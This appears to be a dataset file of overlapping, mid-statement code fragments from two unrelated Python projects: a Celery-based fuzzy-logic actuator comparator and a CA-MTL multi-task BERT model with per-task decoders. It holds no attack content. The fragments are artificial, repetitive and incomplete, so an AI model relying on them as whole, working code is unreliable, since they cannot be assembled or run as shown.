"Exception, e: logger.warning(\"Cannot load FCL file {0} in {1} path.\".format(fcl_file, fcl_path)) # process",
"from datetime import datetime from celery.task import task from celery.execute import send_task from",
"DATA to COMPARE') missing_data += 1 continue \"\"\" # try load pyfuzzy try:",
"from time import time from datetime import datetime from celery.task import task from",
"robotice.reactor.tasks import commit_action from robotice.reasoner.comparators import BaseComparator logger = logging.getLogger(__name__) R_FCL_PATH = \"/srv/robotice/config/fuzzy\"",
"fix this issue. Original exception: {0}\".format(e)) raise e # cannot continue # load",
"Exception, e: logger.error(\"Missing pyfuzzy library. Maybe pip install pyfuzzy fix this issue. Original",
"fuzy_system.calculate(inputs, output)[\"action\"] logger.info(action) except Exception, e: raise e \"\"\" actuator_device = self.config.get_actuator_device(actuator) logger.info(actuator_device)",
"= actuator[\"plan_name\"] fcl_file = actuator.get(FCL_VAR, None) if not fcl_file: logger.info(\"Actuator has not specified",
"\"_\") plan_name = actuator[\"plan_name\"] fcl_file = actuator.get(FCL_VAR, None) if not fcl_file: logger.info(\"Actuator has",
"fuzzy.storage.fcl.Reader except Exception, e: logger.error(\"Missing pyfuzzy library. Maybe pip install pyfuzzy fix this",
"import celeryd_after_setup from robotice.reactor.tasks import commit_action from robotice.reasoner.comparators import BaseComparator logger = logging.getLogger(__name__)",
"if real_value == None: logger.info('NO REAL DATA to COMPARE') missing_data += 1 continue",
"e: logger.warning(\"Cannot load FCL file {0} in {1} path.\".format(fcl_file, fcl_path)) # process FCL",
"and get action logger.info(\"Ready to FCL calculate\") try: inputs = { \"input\": real_value,",
"action = fuzy_system.calculate(inputs, output)[\"action\"] logger.info(action) except Exception, e: raise e \"\"\" actuator_device =",
"import time from datetime import datetime from celery.task import task from celery.execute import",
"= \".\".join([fcl_file, \"fcl\"]) fcl_path = \"/\".join([R_FCL_PATH, fcl_file]) try: fuzy_system = fuzzy.storage.fcl.Reader.Reader().load_from_file(fcl_path) except Exception,",
"import fuzzy.storage.fcl.Reader except Exception, e: logger.error(\"Missing pyfuzzy library. Maybe pip install pyfuzzy fix",
"specified FCL set, will be ignored.\") continue model_value, real_value = self.get_values(actuator) logger.info(\"key: {0}",
"{2}\".format( ('%s.%s.%s' % (system, 'sensors', plan_name)), model_value, real_value)) \"\"\" if real_value == None:",
"output)[\"action\"] logger.info(action) except Exception, e: raise e \"\"\" actuator_device = self.config.get_actuator_device(actuator) logger.info(actuator_device) actuator.update(actuator_device)",
"fcl_file]) try: fuzy_system = fuzzy.storage.fcl.Reader.Reader().load_from_file(fcl_path) except Exception, e: logger.warning(\"Cannot load FCL file {0}",
"task from celery.execute import send_task from celery.signals import celeryd_after_setup from robotice.reactor.tasks import commit_action",
"re import logging from time import time from datetime import datetime from celery.task",
"be ignored.\") continue model_value, real_value = self.get_values(actuator) logger.info(\"key: {0} model_value: {1} | real_value:",
"\"fcl\"]) fcl_path = \"/\".join([R_FCL_PATH, fcl_file]) try: fuzy_system = fuzzy.storage.fcl.Reader.Reader().load_from_file(fcl_path) except Exception, e: logger.warning(\"Cannot",
"| real_value: {2}\".format( ('%s.%s.%s' % (system, 'sensors', plan_name)), model_value, real_value)) \"\"\" if real_value",
"(system, 'sensors', plan_name)), model_value, real_value)) \"\"\" if real_value == None: logger.info('NO REAL DATA",
"fuzy_system = fuzzy.storage.fcl.Reader.Reader().load_from_file(fcl_path) except Exception, e: logger.warning(\"Cannot load FCL file {0} in {1}",
"= \"/srv/robotice/config/fuzzy\" FCL_VAR = \"fcl\" class FuzzyComparator(BaseComparator): \"\"\"Object for handling fuzzy reasoning \"\"\"",
"from robotice.reactor.tasks import commit_action from robotice.reasoner.comparators import BaseComparator logger = logging.getLogger(__name__) R_FCL_PATH =",
"import commit_action from robotice.reasoner.comparators import BaseComparator logger = logging.getLogger(__name__) R_FCL_PATH = \"/srv/robotice/config/fuzzy\" FCL_VAR",
"# load FCL file fcl_file = \".\".join([fcl_file, \"fcl\"]) fcl_path = \"/\".join([R_FCL_PATH, fcl_file]) try:",
"def compare(self): for actuator in self.config.actuators: system = actuator.get('system_name').replace(\".\", \"_\") plan_name = actuator[\"plan_name\"]",
"real_value == None: logger.info('NO REAL DATA to COMPARE') missing_data += 1 continue \"\"\"",
"real_value, } output = { \"action\": 0.0 } action = fuzy_system.calculate(inputs, output)[\"action\"] logger.info(action)",
"plan_name = actuator[\"plan_name\"] fcl_file = actuator.get(FCL_VAR, None) if not fcl_file: logger.info(\"Actuator has not",
"# process FCL and get action logger.info(\"Ready to FCL calculate\") try: inputs =",
"try: inputs = { \"input\": real_value, } output = { \"action\": 0.0 }",
"if not fcl_file: logger.info(\"Actuator has not specified FCL set, will be ignored.\") continue",
"in {1} path.\".format(fcl_file, fcl_path)) # process FCL and get action logger.info(\"Ready to FCL",
"continue # load FCL file fcl_file = \".\".join([fcl_file, \"fcl\"]) fcl_path = \"/\".join([R_FCL_PATH, fcl_file])",
"logging from time import time from datetime import datetime from celery.task import task",
"time from datetime import datetime from celery.task import task from celery.execute import send_task",
"\"/\".join([R_FCL_PATH, fcl_file]) try: fuzy_system = fuzzy.storage.fcl.Reader.Reader().load_from_file(fcl_path) except Exception, e: logger.warning(\"Cannot load FCL file",
"FCL and get action logger.info(\"Ready to FCL calculate\") try: inputs = { \"input\":",
"logging.getLogger(__name__) R_FCL_PATH = \"/srv/robotice/config/fuzzy\" FCL_VAR = \"fcl\" class FuzzyComparator(BaseComparator): \"\"\"Object for handling fuzzy",
"actuator.get('system_name').replace(\".\", \"_\") plan_name = actuator[\"plan_name\"] fcl_file = actuator.get(FCL_VAR, None) if not fcl_file: logger.info(\"Actuator",
"not fcl_file: logger.info(\"Actuator has not specified FCL set, will be ignored.\") continue model_value,",
"except Exception, e: raise e \"\"\" actuator_device = self.config.get_actuator_device(actuator) logger.info(actuator_device) actuator.update(actuator_device) logger.info(actuator) \"\"\"",
"actuator[\"plan_name\"] fcl_file = actuator.get(FCL_VAR, None) if not fcl_file: logger.info(\"Actuator has not specified FCL",
"datetime from celery.task import task from celery.execute import send_task from celery.signals import celeryd_after_setup",
"reasoning \"\"\" def compare(self): for actuator in self.config.actuators: system = actuator.get('system_name').replace(\".\", \"_\") plan_name",
"except Exception, e: logger.error(\"Missing pyfuzzy library. Maybe pip install pyfuzzy fix this issue.",
"celery.task import task from celery.execute import send_task from celery.signals import celeryd_after_setup from robotice.reactor.tasks"
] |
[
"return \"bert-base-cased\" elif model_name_or_path == \"CA-MTL-base-uncased\": return \"bert-base-uncased\" elif model_name_or_path == \"CA-MTL-tiny\": return",
"max_mean_batch_entropy ): max_mean_batch_entropy = batch_entropy_mean if labels is not None: loss_grouped_per_task[unique_task_id] = current_loss",
"field from typing import List, Optional import torch import torch.nn as nn from",
"def get_base_model(model_name_or_path): if model_name_or_path == \"CA-MTL-large\": return \"bert-large-cased\" elif model_name_or_path == \"CA-MTL-base\": return",
"super().__init__(config) self.data_args = data_args self.bert = self._create_encoder(model_args.encoder_type) self.decoders = nn.ModuleList() for task in",
"from src.model.encoders.ca_mtl_base import CaMtlBaseEncoder from src.model.encoders.ca_mtl_large import CaMtlLargeEncoder logger = logging.getLogger(__name__) @dataclass class",
"self.init_weights() def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, head_mask=None, inputs_embeds=None, labels=None, task_id=None, span_locs=None,",
"for unique_task_id in unique_task_ids_list: task_id_filter = task_id == unique_task_id decoder_id = unique_task_id logits,",
"return _BertEncoder(self.config) @staticmethod def get_base_model(model_name_or_path): if model_name_or_path == \"CA-MTL-large\": return \"bert-large-cased\" elif model_name_or_path",
"\"CA-MTL-tiny\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) else: return _BertEncoder(self.config) @staticmethod def get_base_model(model_name_or_path): if model_name_or_path ==",
"\" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) class CaMtl(BertPreTrainedModel): def __init__( self, config, model_args,",
"None: loss_grouped_per_task[unique_task_id] = current_loss loss_list.append(current_loss) outputs = ( (logits,) + outputs[2:] + (",
"is None else labels[task_id_filter], attention_mask=attention_mask[task_id_filter], ) batch_entropy_mean = batch_entropy.mean().item() batch_entropy_per_task[task_id_filter] = batch_entropy batch_entropy_mean_per_task[task_id_filter]",
"\"help\": \"Identifier of encoder-type to use: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\"",
"if ( max_mean_batch_entropy is None or batch_entropy_mean > max_mean_batch_entropy ): max_mean_batch_entropy = batch_entropy_mean",
"token_type_ids=None, position_ids=None, head_mask=None, inputs_embeds=None, labels=None, task_id=None, span_locs=None, sample_id=None, ): outputs = self.bert( input_ids=input_ids,",
") ) if loss_list: loss = torch.stack(loss_list) outputs = (loss.mean(),) + outputs +",
"data_args self.bert = self._create_encoder(model_args.encoder_type) self.decoders = nn.ModuleList() for task in data_args.tasks: self.decoders.append(Decoder(config.hidden_size, task))",
"CaMtlBaseEncoder(self.config, data_args=self.data_args) else: return _BertEncoder(self.config) @staticmethod def get_base_model(model_name_or_path): if model_name_or_path == \"CA-MTL-large\": return",
"to pretrained model or model identifier from: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased,",
"from: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) encoder_type: str =",
"not None: loss_grouped_per_task[unique_task_id] = current_loss loss_list.append(current_loss) outputs = ( (logits,) + outputs[2:] +",
"CaMtlLargeEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base-uncased\":",
"data_args, ): super().__init__(config) self.data_args = data_args self.bert = self._create_encoder(model_args.encoder_type) self.decoders = nn.ModuleList() for",
"[] unique_task_ids = torch.unique(task_id) unique_task_ids_list = ( unique_task_ids.cpu().numpy() if unique_task_ids.is_cuda else unique_task_ids.numpy() )",
"model_name_or_path: str = field( metadata={ \"help\": \"Path to pretrained model or model identifier",
"loss = torch.stack(loss_list) outputs = (loss.mean(),) + outputs + (loss_grouped_per_task.view(1, -1),) return outputs",
"CaMtlBaseEncoder from src.model.encoders.ca_mtl_large import CaMtlLargeEncoder logger = logging.getLogger(__name__) @dataclass class CaMtlArguments: \"\"\" Arguments",
"} ) class CaMtl(BertPreTrainedModel): def __init__( self, config, model_args, data_args, ): super().__init__(config) self.data_args",
"elif encoder_type == \"CA-MTL-tiny\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) else: return _BertEncoder(self.config) @staticmethod def get_base_model(model_name_or_path):",
"bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) class CaMtl(BertPreTrainedModel): def __init__( self, config,",
"identifier from: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) encoder_type: str",
"( max_mean_batch_entropy is None or batch_entropy_mean > max_mean_batch_entropy ): max_mean_batch_entropy = batch_entropy_mean if",
"= [] unique_task_ids = torch.unique(task_id) unique_task_ids_list = ( unique_task_ids.cpu().numpy() if unique_task_ids.is_cuda else unique_task_ids.numpy()",
"forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, head_mask=None, inputs_embeds=None, labels=None, task_id=None, span_locs=None, sample_id=None, ):",
"pooled_output[task_id_filter], labels=None if labels is None else labels[task_id_filter], attention_mask=attention_mask[task_id_filter], ) batch_entropy_mean = batch_entropy.mean().item()",
"== \"CA-MTL-tiny\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) else: return _BertEncoder(self.config) @staticmethod def get_base_model(model_name_or_path): if model_name_or_path",
"\"CA-MTL-base\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base-uncased\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type",
"sequence_output[task_id_filter], pooled_output[task_id_filter], labels=None if labels is None else labels[task_id_filter], attention_mask=attention_mask[task_id_filter], ) batch_entropy_mean =",
"\"CA-MTL-large\": return CaMtlLargeEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type",
"\"\"\" Arguments pertaining to which model/config/tokenizer we are going to fine-tune from. \"\"\"",
"model_name_or_path == \"CA-MTL-large\": return \"bert-large-cased\" elif model_name_or_path == \"CA-MTL-base\": return \"bert-base-cased\" elif model_name_or_path",
"or batch_entropy_mean > max_mean_batch_entropy ): max_mean_batch_entropy = batch_entropy_mean if labels is not None:",
"= task_id == unique_task_id decoder_id = unique_task_id logits, current_loss, batch_entropy = self.decoders[decoder_id].forward( sequence_output[task_id_filter],",
"= self._create_encoder(model_args.encoder_type) self.decoders = nn.ModuleList() for task in data_args.tasks: self.decoders.append(Decoder(config.hidden_size, task)) self.init_weights() def",
"use: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) class CaMtl(BertPreTrainedModel): def",
") sequence_output, pooled_output = outputs[:2] loss_list = [] unique_task_ids = torch.unique(task_id) unique_task_ids_list =",
"= self.decoders[decoder_id].forward( sequence_output[task_id_filter], pooled_output[task_id_filter], labels=None if labels is None else labels[task_id_filter], attention_mask=attention_mask[task_id_filter], )",
"_BertEncoder from src.model.encoders.ca_mtl_base import CaMtlBaseEncoder from src.model.encoders.ca_mtl_large import CaMtlLargeEncoder logger = logging.getLogger(__name__) @dataclass",
"self.data_args = data_args self.bert = self._create_encoder(model_args.encoder_type) self.decoders = nn.ModuleList() for task in data_args.tasks:",
"CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) encoder_type: str = field(",
"head_mask=head_mask, inputs_embeds=inputs_embeds, task_id=task_id, ) sequence_output, pooled_output = outputs[:2] loss_list = [] unique_task_ids =",
"loss_list = [] unique_task_ids = torch.unique(task_id) unique_task_ids_list = ( unique_task_ids.cpu().numpy() if unique_task_ids.is_cuda else",
"in unique_task_ids_list: task_id_filter = task_id == unique_task_id decoder_id = unique_task_id logits, current_loss, batch_entropy",
"is not None: loss_grouped_per_task[unique_task_id] = current_loss loss_list.append(current_loss) outputs = ( (logits,) + outputs[2:]",
"bert-large-cased, bert-large-uncased\" } ) class CaMtl(BertPreTrainedModel): def __init__( self, config, model_args, data_args, ):",
"\"CA-MTL-base\": return \"bert-base-cased\" elif model_name_or_path == \"CA-MTL-base-uncased\": return \"bert-base-uncased\" elif model_name_or_path == \"CA-MTL-tiny\":",
"default=None, metadata={ \"help\": \"Identifier of encoder-type to use: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased,",
"max_mean_batch_entropy is None or batch_entropy_mean > max_mean_batch_entropy ): max_mean_batch_entropy = batch_entropy_mean if labels",
"data_args.tasks: self.decoders.append(Decoder(config.hidden_size, task)) self.init_weights() def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, head_mask=None, inputs_embeds=None,",
"labels[task_id_filter], attention_mask=attention_mask[task_id_filter], ) batch_entropy_mean = batch_entropy.mean().item() batch_entropy_per_task[task_id_filter] = batch_entropy batch_entropy_mean_per_task[task_id_filter] = torch.full_like( batch_entropy,",
"= logging.getLogger(__name__) @dataclass class CaMtlArguments: \"\"\" Arguments pertaining to which model/config/tokenizer we are",
"= unique_task_id logits, current_loss, batch_entropy = self.decoders[decoder_id].forward( sequence_output[task_id_filter], pooled_output[task_id_filter], labels=None if labels is",
"transformers import BertPreTrainedModel from src.model.decoder import Decoder from src.model.encoders.bert import _BertEncoder from src.model.encoders.ca_mtl_base",
"in data_args.tasks: self.decoders.append(Decoder(config.hidden_size, task)) self.init_weights() def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, head_mask=None,",
"from transformers import BertPreTrainedModel from src.model.decoder import Decoder from src.model.encoders.bert import _BertEncoder from",
"to which model/config/tokenizer we are going to fine-tune from. \"\"\" model_name_or_path: str =",
"= ( (logits,) + outputs[2:] + ( batch_entropy_per_task, batch_entropy_mean_per_task, max_mean_batch_entropy, ) ) if",
"logits = None for unique_task_id in unique_task_ids_list: task_id_filter = task_id == unique_task_id decoder_id",
"from src.model.encoders.ca_mtl_large import CaMtlLargeEncoder logger = logging.getLogger(__name__) @dataclass class CaMtlArguments: \"\"\" Arguments pertaining",
"are going to fine-tune from. \"\"\" model_name_or_path: str = field( metadata={ \"help\": \"Path",
"re import logging from dataclasses import dataclass, field from typing import List, Optional",
"if loss_list: loss = torch.stack(loss_list) outputs = (loss.mean(),) + outputs + (loss_grouped_per_task.view(1, -1),)",
"= None logits = None for unique_task_id in unique_task_ids_list: task_id_filter = task_id ==",
"CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) class CaMtl(BertPreTrainedModel): def __init__( self,",
"labels=None, task_id=None, span_locs=None, sample_id=None, ): outputs = self.bert( input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, head_mask=head_mask,",
"(logits,) + outputs[2:] + ( batch_entropy_per_task, batch_entropy_mean_per_task, max_mean_batch_entropy, ) ) if loss_list: loss",
"labels is not None: loss_grouped_per_task[unique_task_id] = current_loss loss_list.append(current_loss) outputs = ( (logits,) +",
"= ( torch.zeros_like(task_id[0]).repeat(len(self.data_args.tasks)).float() ) batch_entropy_per_task = torch.zeros(input_ids.shape[0]) batch_entropy_mean_per_task = torch.zeros(input_ids.shape[0]) max_mean_batch_entropy = None",
"self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, head_mask=None, inputs_embeds=None, labels=None, task_id=None, span_locs=None, sample_id=None, ): outputs",
"== unique_task_id decoder_id = unique_task_id logits, current_loss, batch_entropy = self.decoders[decoder_id].forward( sequence_output[task_id_filter], pooled_output[task_id_filter], labels=None",
"(loss.mean(),) + outputs + (loss_grouped_per_task.view(1, -1),) return outputs def _create_encoder(self, encoder_type): if encoder_type",
"fine-tune from. \"\"\" model_name_or_path: str = field( metadata={ \"help\": \"Path to pretrained model",
"CaMtl(BertPreTrainedModel): def __init__( self, config, model_args, data_args, ): super().__init__(config) self.data_args = data_args self.bert",
"model_name_or_path == \"CA-MTL-base\": return \"bert-base-cased\" elif model_name_or_path == \"CA-MTL-base-uncased\": return \"bert-base-uncased\" elif model_name_or_path",
"model identifier from: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) encoder_type:",
"return \"bert-large-cased\" elif model_name_or_path == \"CA-MTL-base\": return \"bert-base-cased\" elif model_name_or_path == \"CA-MTL-base-uncased\": return",
"( unique_task_ids.cpu().numpy() if unique_task_ids.is_cuda else unique_task_ids.numpy() ) loss_grouped_per_task = ( torch.zeros_like(task_id[0]).repeat(len(self.data_args.tasks)).float() ) batch_entropy_per_task",
"unique_task_id logits, current_loss, batch_entropy = self.decoders[decoder_id].forward( sequence_output[task_id_filter], pooled_output[task_id_filter], labels=None if labels is None",
"== \"CA-MTL-base-uncased\": return \"bert-base-uncased\" elif model_name_or_path == \"CA-MTL-tiny\": return 'huawei-noah/TinyBERT_General_6L_768D' else: return model_name_or_path",
"Arguments pertaining to which model/config/tokenizer we are going to fine-tune from. \"\"\" model_name_or_path:",
"def __init__( self, config, model_args, data_args, ): super().__init__(config) self.data_args = data_args self.bert =",
"model/config/tokenizer we are going to fine-tune from. \"\"\" model_name_or_path: str = field( metadata={",
"unique_task_ids = torch.unique(task_id) unique_task_ids_list = ( unique_task_ids.cpu().numpy() if unique_task_ids.is_cuda else unique_task_ids.numpy() ) loss_grouped_per_task",
") batch_entropy_mean = batch_entropy.mean().item() batch_entropy_per_task[task_id_filter] = batch_entropy batch_entropy_mean_per_task[task_id_filter] = torch.full_like( batch_entropy, batch_entropy_mean )",
"= None for unique_task_id in unique_task_ids_list: task_id_filter = task_id == unique_task_id decoder_id =",
"nn.ModuleList() for task in data_args.tasks: self.decoders.append(Decoder(config.hidden_size, task)) self.init_weights() def forward( self, input_ids=None, attention_mask=None,",
"batch_entropy_per_task[task_id_filter] = batch_entropy batch_entropy_mean_per_task[task_id_filter] = torch.full_like( batch_entropy, batch_entropy_mean ) if ( max_mean_batch_entropy is",
"attention_mask=None, token_type_ids=None, position_ids=None, head_mask=None, inputs_embeds=None, labels=None, task_id=None, span_locs=None, sample_id=None, ): outputs = self.bert(",
"encoder_type): if encoder_type == \"CA-MTL-large\": return CaMtlLargeEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base\": return",
"elif model_name_or_path == \"CA-MTL-base\": return \"bert-base-cased\" elif model_name_or_path == \"CA-MTL-base-uncased\": return \"bert-base-uncased\" elif",
"task in data_args.tasks: self.decoders.append(Decoder(config.hidden_size, task)) self.init_weights() def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None,",
"= batch_entropy_mean if labels is not None: loss_grouped_per_task[unique_task_id] = current_loss loss_list.append(current_loss) outputs =",
"from typing import List, Optional import torch import torch.nn as nn from transformers",
"torch.unique(task_id) unique_task_ids_list = ( unique_task_ids.cpu().numpy() if unique_task_ids.is_cuda else unique_task_ids.numpy() ) loss_grouped_per_task = (",
"return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-tiny\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) else: return _BertEncoder(self.config)",
"None logits = None for unique_task_id in unique_task_ids_list: task_id_filter = task_id == unique_task_id",
"BertPreTrainedModel from src.model.decoder import Decoder from src.model.encoders.bert import _BertEncoder from src.model.encoders.ca_mtl_base import CaMtlBaseEncoder",
"import List, Optional import torch import torch.nn as nn from transformers import BertPreTrainedModel",
"position_ids=position_ids, head_mask=head_mask, inputs_embeds=inputs_embeds, task_id=task_id, ) sequence_output, pooled_output = outputs[:2] loss_list = [] unique_task_ids",
"attention_mask=attention_mask[task_id_filter], ) batch_entropy_mean = batch_entropy.mean().item() batch_entropy_per_task[task_id_filter] = batch_entropy batch_entropy_mean_per_task[task_id_filter] = torch.full_like( batch_entropy, batch_entropy_mean",
"import re import logging from dataclasses import dataclass, field from typing import List,",
"bert-large-cased, bert-large-uncased\" } ) encoder_type: str = field( default=None, metadata={ \"help\": \"Identifier of",
"outputs + (loss_grouped_per_task.view(1, -1),) return outputs def _create_encoder(self, encoder_type): if encoder_type == \"CA-MTL-large\":",
"src.model.encoders.ca_mtl_base import CaMtlBaseEncoder from src.model.encoders.ca_mtl_large import CaMtlLargeEncoder logger = logging.getLogger(__name__) @dataclass class CaMtlArguments:",
"_create_encoder(self, encoder_type): if encoder_type == \"CA-MTL-large\": return CaMtlLargeEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base\":",
"CaMtlArguments: \"\"\" Arguments pertaining to which model/config/tokenizer we are going to fine-tune from.",
"= (loss.mean(),) + outputs + (loss_grouped_per_task.view(1, -1),) return outputs def _create_encoder(self, encoder_type): if",
"encoder-type to use: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\" } ) class",
"> max_mean_batch_entropy ): max_mean_batch_entropy = batch_entropy_mean if labels is not None: loss_grouped_per_task[unique_task_id] =",
"= batch_entropy.mean().item() batch_entropy_per_task[task_id_filter] = batch_entropy batch_entropy_mean_per_task[task_id_filter] = torch.full_like( batch_entropy, batch_entropy_mean ) if (",
"from src.model.decoder import Decoder from src.model.encoders.bert import _BertEncoder from src.model.encoders.ca_mtl_base import CaMtlBaseEncoder from",
"torch.zeros_like(task_id[0]).repeat(len(self.data_args.tasks)).float() ) batch_entropy_per_task = torch.zeros(input_ids.shape[0]) batch_entropy_mean_per_task = torch.zeros(input_ids.shape[0]) max_mean_batch_entropy = None logits =",
"unique_task_id decoder_id = unique_task_id logits, current_loss, batch_entropy = self.decoders[decoder_id].forward( sequence_output[task_id_filter], pooled_output[task_id_filter], labels=None if",
"encoder_type == \"CA-MTL-base-uncased\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-tiny\": return CaMtlBaseEncoder(self.config, data_args=self.data_args)",
"class CaMtl(BertPreTrainedModel): def __init__( self, config, model_args, data_args, ): super().__init__(config) self.data_args = data_args",
"return CaMtlBaseEncoder(self.config, data_args=self.data_args) else: return _BertEncoder(self.config) @staticmethod def get_base_model(model_name_or_path): if model_name_or_path == \"CA-MTL-large\":",
"import torch import torch.nn as nn from transformers import BertPreTrainedModel from src.model.decoder import",
"import Decoder from src.model.encoders.bert import _BertEncoder from src.model.encoders.ca_mtl_base import CaMtlBaseEncoder from src.model.encoders.ca_mtl_large import",
"== \"CA-MTL-large\": return \"bert-large-cased\" elif model_name_or_path == \"CA-MTL-base\": return \"bert-base-cased\" elif model_name_or_path ==",
"logger = logging.getLogger(__name__) @dataclass class CaMtlArguments: \"\"\" Arguments pertaining to which model/config/tokenizer we",
"unique_task_id in unique_task_ids_list: task_id_filter = task_id == unique_task_id decoder_id = unique_task_id logits, current_loss,",
"elif encoder_type == \"CA-MTL-base-uncased\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-tiny\": return CaMtlBaseEncoder(self.config,",
"import dataclass, field from typing import List, Optional import torch import torch.nn as",
"= torch.stack(loss_list) outputs = (loss.mean(),) + outputs + (loss_grouped_per_task.view(1, -1),) return outputs def",
"pretrained model or model identifier from: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased, bert-large-cased, bert-large-uncased\"",
"loss_list.append(current_loss) outputs = ( (logits,) + outputs[2:] + ( batch_entropy_per_task, batch_entropy_mean_per_task, max_mean_batch_entropy, )",
"str = field( default=None, metadata={ \"help\": \"Identifier of encoder-type to use: CA-MTL-base, CA-MTL-large,",
"= nn.ModuleList() for task in data_args.tasks: self.decoders.append(Decoder(config.hidden_size, task)) self.init_weights() def forward( self, input_ids=None,",
"position_ids=None, head_mask=None, inputs_embeds=None, labels=None, task_id=None, span_locs=None, sample_id=None, ): outputs = self.bert( input_ids=input_ids, attention_mask=attention_mask,",
"encoder_type: str = field( default=None, metadata={ \"help\": \"Identifier of encoder-type to use: CA-MTL-base,",
"labels is None else labels[task_id_filter], attention_mask=attention_mask[task_id_filter], ) batch_entropy_mean = batch_entropy.mean().item() batch_entropy_per_task[task_id_filter] = batch_entropy",
"self, config, model_args, data_args, ): super().__init__(config) self.data_args = data_args self.bert = self._create_encoder(model_args.encoder_type) self.decoders",
"\"Path to pretrained model or model identifier from: CA-MTL-base, CA-MTL-large, bert-base-cased \" \"bert-base-uncased,",
"(loss_grouped_per_task.view(1, -1),) return outputs def _create_encoder(self, encoder_type): if encoder_type == \"CA-MTL-large\": return CaMtlLargeEncoder(self.config,",
"unique_task_ids.cpu().numpy() if unique_task_ids.is_cuda else unique_task_ids.numpy() ) loss_grouped_per_task = ( torch.zeros_like(task_id[0]).repeat(len(self.data_args.tasks)).float() ) batch_entropy_per_task =",
"return outputs def _create_encoder(self, encoder_type): if encoder_type == \"CA-MTL-large\": return CaMtlLargeEncoder(self.config, data_args=self.data_args) elif",
"token_type_ids=token_type_ids, position_ids=position_ids, head_mask=head_mask, inputs_embeds=inputs_embeds, task_id=task_id, ) sequence_output, pooled_output = outputs[:2] loss_list = []",
"is None or batch_entropy_mean > max_mean_batch_entropy ): max_mean_batch_entropy = batch_entropy_mean if labels is",
"field( metadata={ \"help\": \"Path to pretrained model or model identifier from: CA-MTL-base, CA-MTL-large,",
"( batch_entropy_per_task, batch_entropy_mean_per_task, max_mean_batch_entropy, ) ) if loss_list: loss = torch.stack(loss_list) outputs =",
"} ) encoder_type: str = field( default=None, metadata={ \"help\": \"Identifier of encoder-type to",
"outputs[:2] loss_list = [] unique_task_ids = torch.unique(task_id) unique_task_ids_list = ( unique_task_ids.cpu().numpy() if unique_task_ids.is_cuda",
"task_id_filter = task_id == unique_task_id decoder_id = unique_task_id logits, current_loss, batch_entropy = self.decoders[decoder_id].forward(",
"logits, current_loss, batch_entropy = self.decoders[decoder_id].forward( sequence_output[task_id_filter], pooled_output[task_id_filter], labels=None if labels is None else",
"batch_entropy, batch_entropy_mean ) if ( max_mean_batch_entropy is None or batch_entropy_mean > max_mean_batch_entropy ):",
"def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, head_mask=None, inputs_embeds=None, labels=None, task_id=None, span_locs=None, sample_id=None,",
"batch_entropy = self.decoders[decoder_id].forward( sequence_output[task_id_filter], pooled_output[task_id_filter], labels=None if labels is None else labels[task_id_filter], attention_mask=attention_mask[task_id_filter],",
"attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, head_mask=head_mask, inputs_embeds=inputs_embeds, task_id=task_id, ) sequence_output, pooled_output = outputs[:2] loss_list =",
"logging from dataclasses import dataclass, field from typing import List, Optional import torch",
"import CaMtlLargeEncoder logger = logging.getLogger(__name__) @dataclass class CaMtlArguments: \"\"\" Arguments pertaining to which",
"batch_entropy_mean if labels is not None: loss_grouped_per_task[unique_task_id] = current_loss loss_list.append(current_loss) outputs = (",
"elif encoder_type == \"CA-MTL-base\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base-uncased\": return CaMtlBaseEncoder(self.config,",
"data_args=self.data_args) elif encoder_type == \"CA-MTL-base\": return CaMtlBaseEncoder(self.config, data_args=self.data_args) elif encoder_type == \"CA-MTL-base-uncased\": return",
"CaMtlLargeEncoder logger = logging.getLogger(__name__) @dataclass class CaMtlArguments: \"\"\" Arguments pertaining to which model/config/tokenizer",
